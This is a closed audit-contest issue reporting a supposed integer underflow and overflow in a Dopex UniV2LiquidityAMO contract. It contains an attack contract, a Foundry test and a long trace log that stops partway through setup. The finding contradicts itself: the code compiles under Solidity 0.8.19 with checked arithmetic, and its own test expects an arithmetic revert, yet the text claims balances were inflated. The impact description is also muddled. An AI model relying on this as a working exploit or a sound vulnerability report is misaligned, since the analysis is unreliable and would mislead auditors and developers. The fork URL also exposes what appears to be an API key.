code-423n4 / 2023-08-dopex-findings

3 stars 3 forks source link

[M-01] Arithmetic Underflow and Overflow in UniV2LiquidityAMO contract #10

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/amo/UniV2LiquidityAmo.sol#L283 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV2LiquidityAmo.sol#L279

Vulnerability details

Impact

Detailed description of the impact of this finding. I've identified an instance of integer overflow within the removeLiquidity function. This flaw enables me to manipulate the uint256 value in a way that results in its reduction to zero. Consequently, I can exploit this situation to make a transfer exceeding my actual balance. I've discovered an integer underflow within the removeLiquidity function. This vulnerability enables me to manipulate the uint256 value in a manner that causes it to wrap around to the maximum value. As a result, I can exploit this situation to transfer an amount greater than what I actually possess. There is an underflow vulnerability on line 283 of the UniV2LiquidityAmo contract.
This allows the lpAmount to be set to its minimum and then by negating 1 or 1-2 it inflates the lpAmount to the maximum value allowed within the removeLiquidity function.

Proof of Concept

Provide direct links to all referenced code in GitHub.

// https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/amo/UniV2LiquidityAmo.sol#L283
    lpTokenBalance -= lpAmount;
// https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV2LiquidityAmo.sol#L279
        block.timestamp + 1

Add screenshots, logs, or any other relevant proof that illustrates the concept. Exploit

//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "./UniV2LiquidityAMO.sol";

contract UniV2LiquidityAMOAttack {

    UniV2LiquidityAMO public to;

    function attack(UniV2LiquidityAMO _to,
                    uint256 _lpAmount,
                    uint256 _tokenAAmountMin,
                    uint256 _tokenBAmountMin) external payable {
        to = UniV2LiquidityAMO(_to);     
        to.removeLiquidity(uint256(1)-uint256(2),uint256(1)-uint256(2),uint256(1)-uint256(2));

    }

}

Exploit Underflow Foundry


function testAttackI() external payable {
        uniV2LiquidityAMO = new UniV2LiquidityAMO();

...

vm.expectRevert(stdError.arithmeticError);
    uniV2LiquidityAMO.removeLiquidity(uint256(1)-uint256(2)
                  ,uint256(1)-uint256(2)
                ,uint256(1)-uint256(2));

...
    }

Underflow Test Case Foundry

1. Deploy functions and variables above to Periphery.t.sol contract in the testAttackI function.
2. In the terminal run: ```forge test -vvv --match-path "tests/rdpxV2-core/Periphery.t.sol" --match-test "testAttackI"```
3. The account balance has been updated.
4. Done.

Log Underflow Foundry

2023-08-dopex % forge test -vvvvv --match-path "tests/rdpxV2-core/Periphery.t.sol" --match-test "testAttackI"
[⠘] Compiling...
No files changed, compilation skipped

Running 1 test for tests/rdpxV2-core/Periphery.t.sol:Periphery
[PASS] testAttackI() (gas: 2216928)
Traces:
  [28714173] Periphery::setUp() 
    ├─ [0] VM::createFork(https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685, 24023149 [2.402e7]) 
    │   └─ ← 0
    ├─ [0] VM::selectFork(0) 
    │   └─ ← ()
    ├─ [1580887] → new MockToken@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 6284 bytes of code
    ├─ [1580887] → new MockToken@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 6284 bytes of code
    ├─ [1150081] → new DpxEthToken@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 5140 bytes of code
    ├─ [914315] → new RdpxReserve@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 4210 bytes of code
    ├─ [865528] → new MockRdpxV2ReceiptToken@0xc7183455a4C133Ae270771860664b6B7ec320bB1
    │   └─ ← 3871 bytes of code
    ├─ [1743662] → new RdpxV2Bond@0xa0Cb889707d426A7A386870A03bc70d1b0697598
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 8227 bytes of code
    ├─ [1768141] → new ReLPContract@0x1d1499e622D69689cdf9004d05Ec547d650Ff211
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 8365 bytes of code
    ├─ [47193] MockToken::mint(RdpxReserve: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 100000000000000000000 [1e20]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RdpxReserve: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amount: 100000000000000000000 [1e20])
    │   └─ ← ()
    ├─ [31681] → new MockVolatilityOracle@0xA4AD4f68d0b91CFD19687c881e50f3A00242828c
    │   └─ ← 158 bytes of code
    ├─ [37887] → new MockOptionPricing@0x03A6a84cD762D9707A21605b548aaaB891562aAb
    │   └─ ← 189 bytes of code
    ├─ [391598] → new MockRdpxEthPriceOracle@0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF
    │   └─ ← 1735 bytes of code
    ├─ [75611] → new MockDpxEthPriceOracle@0x15cF58144EF33af1e14b5208015d11F9143E27b9
    │   └─ ← 267 bytes of code
    ├─ [3802550] → new PerpetualAtlanticVault@0x212224D2F2d262cd093eE13240ca4873fcCBbA3C
    │   ├─ [1283] MockToken::symbol() [staticcall]
    │   │   └─ ← WETH
    │   ├─ [223] MockToken::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x241ecf16d79d0f8dbfb92cbc07fe17840425976cf0667f022fe9877caa831b08, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 17701 bytes of code
    ├─ [357] MockRdpxEthPriceOracle::updateRdpxPrice(20000000 [2e7]) 
    │   └─ ← ()
    ├─ [334] MockDpxEthPriceOracle::updateDpxEthPrice(100000000 [1e8]) 
    │   └─ ← ()
    ├─ [47193] MockToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1000000000000000000000 [1e21]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 1000000000000000000000 [1e21])
    │   └─ ← ()
    ├─ [24488] PerpetualAtlanticVault::addToContractWhitelist(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   ├─ emit AddToContractWhitelist(_contract: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← true
    ├─ [743549] 0xb17b674D9c5CB2e441F8e196a2f048A81355d031::deploy_plain_pool(dpxETH-Eth-Pool, dpxETH-ETH, [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], 120, 4000000 [4e6], 0, 0) 
    │   ├─ [223] MockToken::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [267] DpxEthToken::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [9028] → new <Unknown>@0x5Aa2a79293424bf39171d704A364FDE3B641DB25
    │   │   └─ ← 45 bytes of code
    │   ├─ [21] PRECOMPILE::identity(000000000000000000000000000000000000000000000000000000000000000f6470784554482d4574682d506f6f6c) 
    │   │   └─ ← 000000000000000000000000000000000000000000000000000000000000000f6470784554482d4574682d506f6f6c
    │   ├─ [21] PRECOMPILE::identity(000000000000000000000000000000000000000000000000000000000000000a6470784554482d455448) 
    │   │   └─ ← 000000000000000000000000000000000000000000000000000000000000000a6470784554482d455448
    │   ├─ [294404] 0x5Aa2a79293424bf39171d704A364FDE3B641DB25::initialize(dpxETH-Eth-Pool, dpxETH-ETH, [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], [1000000000000000000 [1e18], 1000000000000000000 [1e18], 0, 0], 120, 4000000 [4e6]) 
    │   │   ├─ [291645] 0x54e8A25d0Ac0E4945b697C80b8372445FEA17A62::initialize(dpxETH-Eth-Pool, dpxETH-ETH, [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], [1000000000000000000 [1e18], 1000000000000000000 [1e18], 0, 0], 120, 4000000 [4e6]) [delegatecall]
    │   │   │   ├─ [18] PRECOMPILE::identity(43757276652e666920466163746f727920506c61696e20506f6f6c3a20) 
    │   │   │   │   └─ ← 43757276652e666920466163746f727920506c61696e20506f6f6c3a20
    │   │   │   ├─ [18] PRECOMPILE::identity(6470784554482d4574682d506f6f6c0000000000000000000000000000000000) 
    │   │   │   │   └─ ← 6470784554482d4574682d506f6f6c0000000000000000000000000000000000
    │   │   │   ├─ [18] PRECOMPILE::identity(6470784554482d455448) 
    │   │   │   │   └─ ← 6470784554482d455448
    │   │   │   ├─ [18] PRECOMPILE::identity(2d66) 
    │   │   │   │   └─ ← 2d66
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 0)
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ [18] PRECOMPILE::identity(095ea7b3) 
    │   │   └─ ← 095ea7b3
    │   ├─ [27] PRECOMPILE::identity(0000000000000000000000000000000000000000000000000000000000000044095ea7b30000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 
    │   │   └─ ← 0000000000000000000000000000000000000000000000000000000000000044095ea7b30000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
    │   ├─ [24681] MockToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: 0xb17b674D9c5CB2e441F8e196a2f048A81355d031, spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   ├─ [18] PRECOMPILE::identity(095ea7b3) 
    │   │   └─ ← 095ea7b3
    │   ├─ [27] PRECOMPILE::identity(0000000000000000000000000000000000000000000000000000000000000044095ea7b30000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 
    │   │   └─ ← 0000000000000000000000000000000000000000000000000000000000000044095ea7b30000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
    │   ├─ [24658] DpxEthToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: 0xb17b674D9c5CB2e441F8e196a2f048A81355d031, spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   ├─ emit PlainPoolDeployed(: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], : 120, : 4000000 [4e6], : Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 0x0000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25
    ├─ [25293] MockToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1000000000000000000000000 [1e24]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 1000000000000000000000000 [1e24])
    │   └─ ← ()
    ├─ [25293] MockToken::mint(0x0000000000000000000000000000000000000001, 1100000000000000000000 [1.1e21]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000001, amount: 1100000000000000000000 [1.1e21])
    │   └─ ← ()
    ├─ [3393] MockToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 20000000000000000000000 [2e22]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 20000000000000000000000 [2e22])
    │   └─ ← ()
    ├─ [2040362] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::createPair(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) 
    │   ├─ [1884378] → new <Unknown>@0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E
    │   │   └─ ← 9079 bytes of code
    │   ├─ [44728] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::initialize(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) 
    │   │   └─ ← ()
    │   ├─  emit topic 0: 0x0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9
    │   │       topic 1: 0x0000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b
    │   │       topic 2: 0x0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f
    │   │           data: 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e0000000000000000000000000000000000000000000000000000000000000453
    │   └─ ← 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e
    ├─ [239] DpxEthToken::MINTER_ROLE() [staticcall]
    │   └─ ← 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6
    ├─ [3309] DpxEthToken::grantRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   └─ ← ()
    ├─ [47290] DpxEthToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 200000000000000000000 [2e20]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 200000000000000000000 [2e20])
    │   └─ ← ()
    ├─ [24658] DpxEthToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← true
    ├─ [24681] MockToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← true
    ├─ [142631] 0x5Aa2a79293424bf39171d704A364FDE3B641DB25::add_liquidity([200000000000000000000 [2e20], 200000000000000000000 [2e20]], 0) 
    │   ├─ [142484] 0x54e8A25d0Ac0E4945b697C80b8372445FEA17A62::add_liquidity([200000000000000000000 [2e20], 200000000000000000000 [2e20]], 0) [delegatecall]
    │   │   ├─ [18] PRECOMPILE::identity(23b872dd) 
    │   │   │   └─ ← 23b872dd
    │   │   ├─ [30] PRECOMPILE::identity(000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005aa2a79293424bf39171d704a364fde3b641db2500000000000000000000000000000000000000000000000ad78ebc5ac6200000) 
    │   │   │   └─ ← 000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005aa2a79293424bf39171d704a364fde3b641db2500000000000000000000000000000000000000000000000ad78ebc5ac6200000
    │   │   ├─ [25701] MockToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 200000000000000000000 [2e20]) 
    │   │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 200000000000000000000 [2e20])
    │   │   │   └─ ← true
    │   │   ├─ [21] PRECOMPILE::identity(00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001) 
    │   │   │   └─ ← 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [18] PRECOMPILE::identity(23b872dd) 
    │   │   │   └─ ← 23b872dd
    │   │   ├─ [30] PRECOMPILE::identity(000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005aa2a79293424bf39171d704a364fde3b641db2500000000000000000000000000000000000000000000000ad78ebc5ac6200000) 
    │   │   │   └─ ← 000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005aa2a79293424bf39171d704a364fde3b641db2500000000000000000000000000000000000000000000000ad78ebc5ac6200000
    │   │   ├─ [20577] DpxEthToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 200000000000000000000 [2e20]) 
    │   │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 200000000000000000000 [2e20])
    │   │   │   └─ ← true
    │   │   ├─ [21] PRECOMPILE::identity(00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001) 
    │   │   │   └─ ← 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 400000000000000000000 [4e20])
    │   │   ├─ emit AddLiquidity(param0: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], param1: [200000000000000000000 [2e20], 200000000000000000000 [2e20]], param2: [0, 0], param3: 400000000000000000000 [4e20], param4: 400000000000000000000 [4e20])
    │   │   └─ ← 0x000000000000000000000000000000000000000000000015af1d78b58c400000
    │   └─ ← 0x000000000000000000000000000000000000000000000015af1d78b58c400000
    ├─ [24681] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← true
    ├─ [24681] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← true
    ├─ [89146] MockRdpxEthPriceOracle::setAddress(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xc35DADB65012eC5796536bD9864eD8773aBc74C4, 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) 
    │   └─ ← ()
    ├─ [4973788] → new RdpxV2Core@0x2a07706473244BC757E10F2a9E86fB532828afe3
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 23795 bytes of code
    ├─ [2238307] → new RdpxDecayingBonds@0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 10582 bytes of code
    ├─ [261] RdpxV2Bond::MINTER_ROLE() [staticcall]
    │   └─ ← 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6
    ├─ [27527] RdpxV2Bond::grantRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [1621781] → new PerpetualAtlanticVaultLP@0xD16d567549A2a2a2005aEACf7fB193851603dd70
    │   ├─ [223] MockToken::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   └─ ← 7052 bytes of code
    ├─ [239] RdpxReserve::RDPXV2CORE_ROLE() [staticcall]
    │   └─ ← 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533
    ├─ [27497] RdpxReserve::grantRole(0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [187992] PerpetualAtlanticVault::setAddresses(MockOptionPricing: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], MockRdpxEthPriceOracle: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], MockVolatilityOracle: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 0x0000000000000000000000000000000000000001, MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
